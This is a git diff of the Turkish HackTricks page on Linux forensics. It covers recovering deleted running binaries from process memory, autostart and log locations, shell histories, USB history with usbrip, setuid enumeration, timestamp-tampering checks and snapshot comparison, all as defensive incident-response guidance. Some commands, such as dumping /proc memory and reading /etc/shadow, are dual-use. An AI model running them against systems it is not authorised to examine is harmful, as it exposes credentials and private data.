\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturabilir ve otomatikleştirebilirsiniz.\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Silinen Çalışan İkili Dosyaları Kurtarma +## Silinen Çalışan İkili Dosyaları Kurtarın -/tmp/exec dizininden çalıştırılan ve silinen bir işlem hayal edin. Bunun çıkarılması mümkündür. +/tmp/exec dizininden çalıştırılan ve silinen bir işlemi hayal edin. Bu çıkarılabilir. ```bash cd /proc/3746/ #PID with the exec file deleted head -1 maps #Get address of the file. It was 08048000-08049000 dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it ``` +## Otomatik Başlatma Konumlarını İnceleyin + ### Zamanlanmış Görevler - -Zamanlanmış görevler, Linux sistemlerde otomatik olarak çalıştırılan görevlerdir. Bu görevler, belirli bir zaman veya olaya bağlı olarak çalıştırılabilir. Zamanlanmış görevlerin listesini görmek için aşağıdaki komutu kullanabilirsiniz: - -```bash -crontab -l -``` - -Bu komut, mevcut kullanıcıya ait zamanlanmış görevleri listeler. ```bash cat /var/spool/cron/crontabs/* \ /var/spool/cron/atjobs \ @@ -242,22 +235,21 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra ``` ### Hizmetler -Kötü amaçlı yazılımın hizmet olarak kurulabileceği yollar: +Bir kötü amaçlı yazılımın yüklenebileceği hizmetlerin bulunduğu yollar: -- **/etc/inittab**: rc.sysinit gibi başlatma betiklerini çağırarak başlatma betiklerine yönlendirir. -- **/etc/rc.d/** ve **/etc/rc.boot/**: Hizmet başlatma için betikleri içerir, ikincisi eski Linux sürümlerinde bulunur. -- **/etc/init.d/**: Debian gibi belirli Linux sürümlerinde başlatma betiklerini depolamak için kullanılır. -- Hizmetler ayrıca **/etc/inetd.conf** veya **/etc/xinetd/** üzerinden etkinleştirilebilir, Linux varyantına bağlı olarak. +- **/etc/inittab**: rc.sysinit gibi başlangıç betiklerini çağırır, daha sonra başlangıç betiklerine yönlendirir. +- **/etc/rc.d/** ve **/etc/rc.boot/**: Hizmet başlatma betiklerini içerir, ikincisi eski Linux sürümlerinde bulunur. +- **/etc/init.d/**: Debian gibi belirli Linux sürümlerinde başlangıç betiklerini depolamak için kullanılır. +- Hizmetler ayrıca **/etc/inetd.conf** veya **/etc/xinetd/** üzerinden etkinleştirilebilir, Linux varyantına bağlı olarak değişir. - **/etc/systemd/system**: Sistem ve hizmet yöneticisi betikleri için bir dizin. -- **/etc/systemd/system/multi-user.target.wants/**: Çok kullanıcılı bir çalışma düzeyinde başlatılması gereken hizmetlere bağlantılar içerir. +- **/etc/systemd/system/multi-user.target.wants/**: Çoklu kullanıcı çalışma düzeyinde başlatılması gereken hizmetlere bağlantıları içerir. - **/usr/local/etc/rc.d/**: Özel veya üçüncü taraf hizmetleri için. -- **~/.config/autostart/**: Kullanıcıya özgü otomatik başlatma uygulamaları için, kullanıcı hedefli kötü amaçlı yazılım için bir saklanma noktası olabilir. -- **/lib/systemd/system/**: Kurulu paketler tarafından sağlanan sistem genelinde varsayılan birim dosyalarını içerir. - +- **\~/.config/autostart/**: Kullanıcıya özgü otomatik başlatma uygulamaları için, kullanıcı odaklı kötü amaçlı yazılımların gizlenmesi için bir saklanma noktası olabilir. +- **/lib/systemd/system/**: Kurulu paketler tarafından sağlanan sistem genelinde varsayılan birim dosyaları. ### Çekirdek Modülleri -Kötü amaçlı yazılım tarafından kök kiti bileşeni olarak sıklıkla kullanılan Linux çekirdek modülleri, sistem başlangıcında yüklenir. Bu modüller için kritik olan dizinler ve dosyalar şunlardır: +Kötü amaçlı yazılımlar tarafından kök kiti bileşeni olarak sıkça kullanılan Linux çekirdek modülleri, sistem başlangıcında yüklenir. Bu modüller için kritik olan dizinler ve dosyalar şunlardır: - **/lib/modules/$(uname -r)**: Çalışan çekirdek sürümü için modülleri içerir. - **/etc/modprobe.d**: Modül yüklemeyi kontrol etmek için yapılandırma dosyalarını içerir. @@ -265,70 +257,70 @@ Kötü amaçlı yazılım tarafından kök kiti bileşeni olarak sıklıkla kull ### Diğer Otomatik Başlatma Konumları -Linux, kullanıcı oturumu açıldığında otomatik olarak programları çalıştırmak için çeşitli dosyalar kullanır ve bu dosyalar kötü amaçlı yazılım barındırabilir: +Linux, kullanıcı oturum açılışında otomatik olarak programları çalıştırmak için çeşitli dosyalar kullanır ve potansiyel olarak kötü amaçlı yazılımları barındırabilir: -- **/etc/profile.d/***, **/etc/profile** ve **/etc/bash.bashrc**: Her kullanıcı oturumu açıldığında çalıştırılır. -- **~/.bashrc**, **~/.bash_profile**, **~/.profile** ve **~/.config/autostart**: Kullanıcıya özgü oturum açmalarında çalışan dosyalar. -- **/etc/rc.local**: Tüm sistem hizmetleri başladıktan sonra çalışır, çok kullanıcılı bir ortama geçişin sonunu işaretler. +- **/etc/profile.d/**\*, **/etc/profile** ve **/etc/bash.bashrc**: Herhangi bir kullanıcı oturumu açılışında çalıştırılır. +- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile** ve **\~/.config/autostart**: Kullanıcıya özgü dosyalar, kullanıcı oturumu açılışlarında çalıştırılır. +- **/etc/rc.local**: Tüm sistem hizmetleri başladıktan sonra çalışır, çoklu kullanıcı ortamına geçişin sonunu işaretler. -## Günlükleri İncele +## Günlükleri İnceleme -Linux sistemleri, çeşitli günlük dosyaları aracılığıyla kullanıcı etkinliklerini ve sistem olaylarını takip eder. Bu günlükler, yetkisiz erişimi, kötü amaçlı yazılım enfeksiyonlarını ve diğer güvenlik olaylarını tespit etmek için önemlidir. Önemli günlük dosyaları şunları içerir: +Linux sistemleri, kullanıcı etkinliklerini ve sistem olaylarını çeşitli günlük dosyaları aracılığıyla izler. Bu günlükler, yetkisiz erişimleri, kötü amaçlı yazılım bulaşmalarını ve diğer güvenlik olaylarını tanımlamak için hayati öneme sahiptir. Önemli günlük dosyaları şunları içerir: -- **/var/log/syslog** (Debian) veya **/var/log/messages** (RedHat): Sistem genelindeki mesajları ve etkinlikleri kaydeder. -- **/var/log/auth.log** (Debian) veya **/var/log/secure** (RedHat): Kimlik doğrulama girişimlerini, başarılı ve başarısız oturum açmalarını kaydeder. +- **/var/log/syslog** (Debian) veya **/var/log/messages** (RedHat): Sistem genelindeki mesajları ve etkinlikleri yakalar. +- **/var/log/auth.log** (Debian) veya **/var/log/secure** (RedHat): Kimlik doğrulama denemelerini, başarılı ve başarısız girişleri kaydeder. - İlgili kimlik doğrulama olaylarını filtrelemek için `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` komutunu kullanın. -- **/var/log/boot.log**: Sistem başlatma mesajlarını içerir. -- **/var/log/maillog** veya **/var/log/mail.log**: E-posta sunucusu etkinliklerini kaydeder, e-posta ile ilgili hizmetleri izlemek için kullanışlıdır. -- **/var/log/kern.log**: Hata ve uyarılar da dahil olmak üzere çekirdek mesajlarını saklar. -- **/var/log/dmesg**: Aygıt sürücüsü mesajlarını içerir. -- **/var/log/faillog**: Başarısız oturum açma girişimlerini kaydeder, güvenlik ihlali soruşturmalarına yardımcı olur. +- **/var/log/boot.log**: Sistem başlangıç mesajlarını içerir. +- **/var/log/maillog** veya **/var/log/mail.log**: E-posta sunucusu etkinliklerini kaydeder, e-posta ile ilgili hizmetleri izlemek için faydalıdır. +- **/var/log/kern.log**: Hata ve uyarıları içeren çekirdek mesajlarını saklar. +- **/var/log/dmesg**: Aygıt sürücüsü mesajlarını tutar. +- **/var/log/faillog**: Güvenlik ihlali soruşturmalarına yardımcı olan başarısız giriş denemelerini kaydeder. - **/var/log/cron**: Cron işi yürütmelerini kaydeder. -- **/var/log/daemon.log**: Arka planda çalışan hizmet etkinliklerini takip eder. -- **/var/log/btmp**: Başarısız oturum açma girişimlerini belgeler. +- **/var/log/daemon.log**: Arka planda çalışan hizmet etkinliklerini izler. +- **/var/log/btmp**: Başarısız giriş denemelerini belgeler. - **/var/log/httpd/**: Apache HTTPD hata ve erişim günlüklerini içerir. - **/var/log/mysqld.log** veya **/var/log/mysql.log**: MySQL veritabanı etkinliklerini kaydeder. - **/var/log/xferlog**: FTP dosya transferlerini kaydeder. -- **/var/log/**: Burada beklenmedik günlükler için her zaman kontrol yapın. +- **/var/log/**: Burada beklenmeyen günlükleri kontrol etmek her zaman önemlidir. {% hint style="info" %} -Linux sistem günlükleri ve denetim alt sistemi, bir saldırı veya kötü amaçlı yazılım olayında devre dışı bırakılabilir veya silinebilir. Linux sistemlerindeki günlükler genellikle kötü amaçlı etkinlikler hakkında en kullanışlı bilgileri içerdiğinden, saldırganlar bunları rutin olarak siler. Bu nedenle, mevcut günlük dosyalarını incelemek önemlidir ve silme veya oynama belirtileri olabilecek boşlukları veya sırasız girişleri aramak önemlidir. +Linux sistem günlükleri ve denetim alt sistemleri, bir sızma veya kötü amaçlı yazılım olayında devre dışı bırakılabilir veya silinebilir. Linux sistemlerinde günlükler genellikle kötü amaçlı etkinlikler hakkında en kullanışlı bilgileri içerdiğinden, sızıntı yapanlar genellikle bunları siler. Bu nedenle, mevcut günlük dosyalarını inceleyerek, silinme veya oynama belirtisi olabilecek boşlukları veya sırasız girişleri aramak önemlidir. {% endhint %} -**Linux, her kullanıcı için bir komut geçmişi tutar**, bu geçmiş aşağıdaki dosyalarda saklanır: +**Linux, her kullanıcı için bir komut geçmişini saklar**, şurada depolanır: -- ~/.bash_history -- ~/.zsh_history -- ~/.zsh_sessions/* -- ~/.python_history -- ~/.*_history +- \~/.bash\_history +- \~/.zsh\_history +- \~/.zsh\_sessions/\* +- \~/.python\_history +- \~/.\*\_history -Ayrıca, `last -Faiwx` komutu kullanıcı oturum açmalarının bir listesini sağlar. Bilinmeyen veya beklenmeyen oturum açmaları için kontrol edin. +Ayrıca, `last -Faiwx` komutu bir kullanıcı girişleri listesi sağlar. Bilinmeyen veya beklenmeyen girişleri kontrol edin. Ek ayrıcalıklar sağlayabilecek dosyaları kontrol edin: -- Verilen beklenmeyen kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers` dosyasını gözden geçirin. -- Verilen beklenmeyen kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers.d/` dizinini gözden geçirin. +- Beklenmedik kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers` dosyasını inceleyin. +- Beklenmedik kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers.d/` dizinini inceleyin. - Olağandışı grup üyeliklerini veya izinleri belirlemek için `/etc/groups` dosyasını inceleyin. - Olağandışı grup üyeliklerini veya izinleri belirlemek için `/etc/passwd` dosyasını inceleyin. Bazı uygulamalar kendi günlüklerini oluşturur: -- **SSH**: Yetkisiz uzak bağlantıları belirlemek için _~/.ssh/authorized_keys_ ve _~/.ssh/known_hosts_ dosyalarını inceleyin. -- **Gnome Masaüstü**: Gnome uygulamaları aracılığıyla son zamanlarda erişilen dosyalar için _~/.recently-used.xbel_ dosyasına bakın. -- **Firefox/Chrome**: Şüpheli etkinlikleri belirlemek için tarayıcı geçmişi ve indirmeleri _~/.mozilla/firefox_ veya _~/.config/google-chrome_ dizininde kontrol edin. -- **VIM**: Erişilen dosya yolları ve arama geçmişi gibi kullanım ayrıntıları için _~/.viminfo_ dosyasını gözden geçirin. -- **Open Office**: Kompromize edilmiş dosyaları gösterebilecek son belge erişimlerini kontrol edin. -- **FTP/SFTP**: Yetkisiz dosya transferleri için _~/.ftp_history_ veya _~/.sftp_history_ günlüklerini inceleyin. -- **MySQL**: Yetkisiz veritabanı etkinliklerini ortaya çıkarabilecek _~/.mysql_history_ dosyasını araştırın. -- **Less**: Görüntülenen dosyaları ve yürütülen komutları içeren _~/.lesshst_ dosyasını analiz edin. -- **Git**: Değişiklikleri belirlemek için _~/.gitconfig_ ve proje _.git/logs_ dosyalarını inceleyin. +- **SSH**: Yetkisiz uzak bağlantılar için _\~/.ssh/authorized\_keys_ ve _\~/.ssh/known\_hosts_ dosyalarını inceleyin. +- **Gnome Masaüstü**: Gnome uygulamaları aracılığıyla son erişilen dosyaları bulmak için _\~/.recently-used.xbel_ dosyasına bakın. +- **Firefox/Chrome**: Şüpheli etkinlikler için tarayıcı geçmişini ve indirmeleri _\~/.mozilla/firefox_ veya _\~/.config/google-chrome_ dizinlerinde kontrol edin. +- **VIM**: Erişilen dosya yolları ve arama geçmişi gibi kullanım detayları için _\~/.viminfo_ dosyasını inceleyin. +- **Open Office**: Kompromize uğramış dosyaları gösterebilecek son belge erişimlerini kontrol edin. +- **FTP/SFTP**: Yetkisiz dosya transferlerini belirlemek için _\~/.ftp\_history_ veya _\~/.sftp\_history_ günlüklerini inceleyin. +- **MySQL**: Yetkisiz veritabanı etkinliklerini ortaya çıkarabilecek _\~/.mysql\_history_ dosyasını inceleyin. +- **Less**: Görüntülenen dosyaları ve yürütülen komutları içeren _\~/.lesshst_ dosyasını analiz edin. +- **Git**: Depolardaki değişiklikleri belirlemek için _\~/.gitconfig_ ve proje _.git/logs_ dosyalarını inceleyin. ### USB Günlükleri -[**usbrip**](https://github.com/snovvcrash/usbrip), Linux günlük dosyalarını (`/var/log/syslog*` veya dağıtıma bağlı olarak `/var/log/messages*`) USB olay geçmişi tabloları oluşturmak için ayrıştıran, saf Python 3 ile yazılmış küçük bir yazılımdır. +[**usbrip**](https://github.com/snovvcrash/usbrip), USB olay geçmişi tabloları oluşturmak için Linux günlük dosyalarını (`/var/log/syslog*` veya `/var/log/messages*` dağıtıma bağlı olarak) ayrıştıran saf Python 3 ile yazılmış küçük bir yazılımdır. -**Kullanılan tüm USB'leri bilmek** ilginç olacaktır ve yetkilendirilmiş bir USB listesine sahipseniz, "ihlal olaylarını" (bu listede olmayan USB'lerin kullanımı) bulmak için daha da kullanışlı olacaktır. +**Kullanılan tüm USB'leri bilmek** ilginç olacaktır ve yetkili bir USB listesine sahipseniz "ihlal olaylarını" bulmak için daha da faydalı olacaktır (bu listede olmayan USB'lerin kullanımı). ### Kurulum ```bash @@ -336,88 +328,6 @@ pip3 install usbrip usbrip ids download #Download USB ID database ``` ### Örnekler - -#### 1. Disk İmagesi Oluşturma - -Bir Linux sistemde disk imajı oluşturmak için `dd` komutunu kullanabilirsiniz. Aşağıdaki komut, `/dev/sda` diskinden bir imaj oluşturur ve `image.dd` adında bir dosyaya kaydeder: - -```bash -dd if=/dev/sda of=image.dd -``` - -#### 2. Disk İmagesini İnceleme - -Oluşturulan disk imajını incelemek için `file` komutunu kullanabilirsiniz. Aşağıdaki komut, `image.dd` dosyasının türünü ve özelliklerini gösterir: - -```bash -file image.dd -``` - -#### 3. İmzaları İnceleme - -İmzaları incelemek için `binwalk` aracını kullanabilirsiniz. Aşağıdaki komut, `image.dd` dosyasındaki imzaları gösterir: - -```bash -binwalk image.dd -``` - -#### 4. Dosya Sistemini İnceleme - -Disk imajındaki dosya sistemini incelemek için `mmls` komutunu kullanabilirsiniz. Aşağıdaki komut, `image.dd` dosyasındaki dosya sistemini gösterir: - -```bash -mmls image.dd -``` - -#### 5. Dosyaları İnceleme - -Disk imajındaki dosyaları incelemek için `foremost` aracını kullanabilirsiniz. Aşağıdaki komut, `image.dd` dosyasındaki dosyaları kurtarır: - -```bash -foremost -i image.dd -o output_directory -``` - -#### 6. Log Dosyalarını İnceleme - -Log dosyalarını incelemek için `grep` komutunu kullanabilirsiniz. Aşağıdaki komut, `auth.log` dosyasında belirli bir kelimeyi arar: - -```bash -grep "kelime" auth.log -``` - -#### 7. Bellek İmagesini İnceleme - -Bellek imajını incelemek için `volatility` aracını kullanabilirsiniz. Aşağıdaki komut, `memdump.mem` dosyasındaki süreçleri ve bağlantıları gösterir: - -```bash -volatility -f memdump.mem imageinfo -volatility -f memdump.mem pslist -volatility -f memdump.mem connections -``` - -#### 8. Ağ İncelemesi - -Ağ trafiğini incelemek için `tcpdump` komutunu kullanabilirsiniz. Aşağıdaki komut, `eth0` arayüzündeki ağ trafiğini kaydeder: - -```bash -tcpdump -i eth0 -w capture.pcap -``` - -#### 9. Sistem Günlüklerini İnceleme - -Sistem günlüklerini incelemek için `/var/log` dizinindeki günlük dosyalarını kullanabilirsiniz. Aşağıdaki komut, `auth.log` dosyasını görüntüler: - -```bash -cat /var/log/auth.log -``` - -#### 10. Kullanıcı İncelemesi - -Kullanıcıları incelemek için `/etc/passwd` dosyasını kullanabilirsiniz. Aşağıdaki komut, sistemdeki kullanıcıları gösterir: - -```bash -cat /etc/passwd -``` ```bash usbrip events history #Get USB history of your curent linux machine usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user @@ -425,83 +335,77 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR usbrip ids download #Downlaod database usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` -Daha fazla örnek ve bilgi için github'a bakın: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) +Daha fazla örnek ve bilgi için github içeriğine bakabilirsiniz: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) - - -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +## Kullanıcı Hesaplarını ve Oturum Etkinliklerini İnceleme +Bilinen yetkisiz olaylara yakın zamanda oluşturulan veya kullanılan sıradışı isimleri veya hesapları incelemek için _**/etc/passwd**_, _**/etc/shadow**_ ve **güvenlik günlüklerini** kontrol edin. Ayrıca, olası sudo kaba kuvvet saldırılarını kontrol edin.\ +Ayrıca, kullanıcılara verilen beklenmeyen ayrıcalıkları kontrol etmek için _**/etc/sudoers**_ ve _**/etc/groups**_ gibi dosyaları kontrol edin.\ +Son olarak, **şifresiz hesapları** veya **kolayca tahmin edilebilen** şifreleri olan hesapları arayın. -## Kullanıcı Hesaplarını ve Oturum Açma Etkinliklerini İnceleyin - -Bilinen yetkisiz olaylara yakın zamanda oluşturulan veya kullanılan sıradışı isimleri veya hesapları tespit etmek için _**/etc/passwd**_, _**/etc/shadow**_ ve **güvenlik günlüklerini** inceleyin. Ayrıca, olası sudo brute-force saldırılarını kontrol edin.\ -Ayrıca, kullanıcılara verilen beklenmeyen ayrıcalıkları kontrol etmek için _**/etc/sudoers**_ ve _**/etc/groups**_ gibi dosyalara bakın.\ -Son olarak, şifresi olmayan veya kolayca tahmin edilebilen şifrelere sahip hesapları arayın. - -## Dosya Sistemi İncelemesi +## Dosya Sistemi İnceleme ### Zararlı Yazılım İncelemesinde Dosya Sistemi Yapılarını Analiz Etme -Zararlı yazılım olaylarını incelemek için dosya sistemi yapısı bilgileri önemli bir kaynaktır ve hem olayların sırasını hem de zararlı yazılımın içeriğini ortaya çıkarır. Bununla birlikte, zararlı yazılım yazarları, dosya zaman damgalarını değiştirme veya veri depolama için dosya sisteminden kaçınma gibi analizi engellemek için teknikler geliştirmektedir. +Zararlı yazılım olaylarını araştırırken, dosya sisteminin yapısı, olayların sıralamasını ve zararlı yazılımın içeriğini ortaya koyan önemli bir bilgi kaynağıdır. Ancak, zararlı yazılım yazarları, dosya zaman damgalarını değiştirme veya veri depolamak için dosya sistemini kullanmaktan kaçınma gibi analizi engelleyen teknikler geliştirmektedir. Bu anti-forensik yöntemlere karşı koymak için şunlar önemlidir: -- **Olay zaman çizelgesini görselleştirmek** için **Autopsy** gibi araçları kullanarak kapsamlı bir zaman çizelgesi analizi yapın veya ayrıntılı zaman çizelgesi verileri için **Sleuth Kit'in** `mactime`'ını kullanın. -- Saldırganlar tarafından kullanılan kabuk veya PHP betiklerini içerebilecek sistemdeki beklenmedik betikleri inceleyin. -- Geleneksel olarak özel dosyalar içerdiği için **/dev** içindeki tipik olmayan dosyalara bakın, çünkü zararlı yazılım ile ilişkili dosyalar içerebilir. -- ".. " (nokta nokta boşluk) veya "..^G" (nokta nokta kontrol-G) gibi isimlere sahip **gizli dosyaları veya dizinleri arayın**, bunlar zararlı içeriği gizleyebilir. -- Aşağıdaki komutu kullanarak **setuid root dosyalarını** belirleyin: -```find / -user root -perm -04000 -print``` -Bu, saldırganlar tarafından kötüye kullanılabilecek yükseltilmiş izinlere sahip dosyaları bulur. -- Kök kiti veya truva atlarının varlığını gösterebilecek toplu dosya silmelerini tespit etmek için inode tablolarındaki silme zaman damgalarını **inceleyin**. -- Bir tane belirledikten sonra yakındaki zararlı dosyaları tespit etmek için ardışık inode'ları **inceleyin**, çünkü birlikte yerleştirilmiş olabilirler. -- Zararlı yazılım tarafından değiştirilmiş olabileceği için **/bin_, _/sbin_ gibi yaygın ikili dizinleri** son zamanlarda değiştirilen dosyalar için kontrol edin. -```bash +* **Olay zaman çizelgesi analizi** yapmak için **Autopsy** gibi araçları kullanarak detaylı zaman çizelgesi verileri için **Sleuth Kit's** `mactime` kullanın. +* Saldırganlar tarafından kullanılan kabuk veya PHP betiklerini içerebilecek sistem $PATH'indeki **beklenmeyen betikleri** inceleyin. +* **/dev** içindeki tipik olmayan dosyaları inceleyin, genellikle özel dosyalar içerir ancak zararlı yazılımla ilişkili dosyaları içerebilir. +* ".. " (nokta nokta boşluk) veya "..^G" (nokta nokta kontrol-G) gibi adlara sahip **gizli dosyaları veya dizinleri** arayın, bu dosyalar kötü amaçlı içeriği gizleyebilir. +* `find / -user root -perm -04000 -print` komutunu kullanarak **setuid root dosyalarını** belirleyin. Bu, saldırganlar tarafından kötüye kullanılabilecek yükseltilmiş izinlere sahip dosyaları bulur. +* Kök kiti veya truva atları varlığını gösterebilecek **kütle dosya silmelerini** belirlemek için inode tablolarındaki silme zaman damgalarını inceleyin. +* Bir tane belirledikten sonra yakındaki kötü amaçlı dosyaları içeren **ardışık inode'ları** inceleyin, çünkü bunlar birlikte yerleştirilmiş olabilir. +* **Son zamanlarda değiştirilmiş dosyaları** belirlemek için yaygın ikili dizinleri (_/bin_, _/sbin_) kontrol edin, çünkü bunlar zararlı yazılım tarafından değiştirilmiş olabilir. +````bash # List recent files in a directory: ls -laR --sort=time /bin``` # Sort files in a directory by inode: ls -lai /bin | sort -n``` -``` +```` {% hint style="info" %} -Not: Bir **saldırgan**, **dosyaların görünümünü meşru** göstermek için **zamanı değiştirebilir**, ancak **inode**'u değiştiremez. Bir **dosyanın**, aynı klasördeki diğer dosyalarla aynı **zamanda oluşturulduğunu ve değiştirildiğini gösterdiği**, ancak **inode**'un **beklenmedik şekilde daha büyük olduğu** durumda, o dosyanın **zaman damgalarının değiştirildiği** anlaşılır. +**Saldırgan**, dosyaları **meşru görünmesi** için **zamanı değiştirebilir**, ancak **inode**'u değiştiremez. Eğer bir **dosyanın** aynı klasördeki diğer dosyalarla aynı zamanda **oluşturulduğunu ve değiştirildiğini** gösterdiğini fakat **inode**'un **beklenmedik şekilde daha büyük** olduğunu fark ederseniz, o dosyanın **zaman damgaları değiştirilmiş** demektir. {% endhint %} -## Farklı dosya sistem sürümlerini karşılaştırma +## Farklı dosya sistem sürümlerini karşılaştırın ### Dosya Sistem Sürümü Karşılaştırma Özeti -Dosya sistem sürümlerini karşılaştırmak ve değişiklikleri belirlemek için basitleştirilmiş `git diff` komutlarını kullanırız: +Değişiklikleri belirlemek ve dosya sistem sürümlerini karşılaştırmak için basitleştirilmiş `git diff` komutlarını kullanırız: -- **Yeni dosyaları bulmak** için iki dizini karşılaştırın: +* **Yeni dosyaları bulmak** için iki dizini karşılaştırın: ```bash git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ ``` -- **Değiştirilmiş içerik için**, belirli satırları görmezden gelerek değişiklikleri listeleyin: +* **Değiştirilmiş içerik için**, belirli satırları yok sayarak değişiklikleri listeleyin: ```bash git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" ``` -- **Silinmiş dosyaları tespit etmek için**: +* **Silinmiş dosyaları tespit etmek için**: ```bash git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ ``` -- **Filtre seçenekleri** (`--diff-filter`), eklenen (`A`), silinen (`D`) veya değiştirilen (`M`) dosyalar gibi belirli değişikliklere odaklanmayı sağlar. -- `A`: Eklenen dosyalar -- `C`: Kopyalanan dosyalar -- `D`: Silinen dosyalar -- `M`: Değiştirilen dosyalar -- `R`: Yeniden adlandırılan dosyalar -- `T`: Tür değişiklikleri (örneğin, dosyadan sembole) -- `U`: Birleştirilmemiş dosyalar -- `X`: Bilinmeyen dosyalar -- `B`: Bozuk dosyalar +* **Filtre seçenekleri** (`--diff-filter`), eklenen (`A`), silinen (`D`) veya değiştirilen (`M`) dosyalar gibi belirli değişikliklere odaklanmayı sağlar. +* `A`: Eklenen dosyalar +* `C`: Kopyalanan dosyalar +* `D`: Silinen dosyalar +* `M`: Değiştirilen dosyalar +* `R`: Yeniden adlandırılan dosyalar +* `T`: Tür değişiklikleri (ör. dosyadan sembolik bağlantıya) +* `U`: Birleştirilmemiş dosyalar +* `X`: Bilinmeyen dosyalar +* `B`: Bozuk dosyalar ## Referanslar @@ -512,22 +416,22 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
-AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin! +Sıfırdan başlayarak AWS hacklemeyi htARTE (HackTricks AWS Red Team Expert) ile öğrenin! -**Bir siber güvenlik şirketinde mi çalışıyorsunuz?** **Şirketinizi HackTricks'te reklamını görmek ister misiniz?** veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +**Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizi **HackTricks'te reklamını görmek** ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuz olan [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) keşfedin. -* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) göz atın. -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) +* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) sahip olun +* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** takip edin. -**Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**. +**Hacking püf noktalarınızı göndererek HackTricks deposuna** [**PR göndererek**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud deposuna**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın.**
-
+
\ -Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın. +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index a79b34141..2e9f42626 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -1,80 +1,78 @@ -# Tarayıcı Araçları +# Tarayıcı Kalıntıları
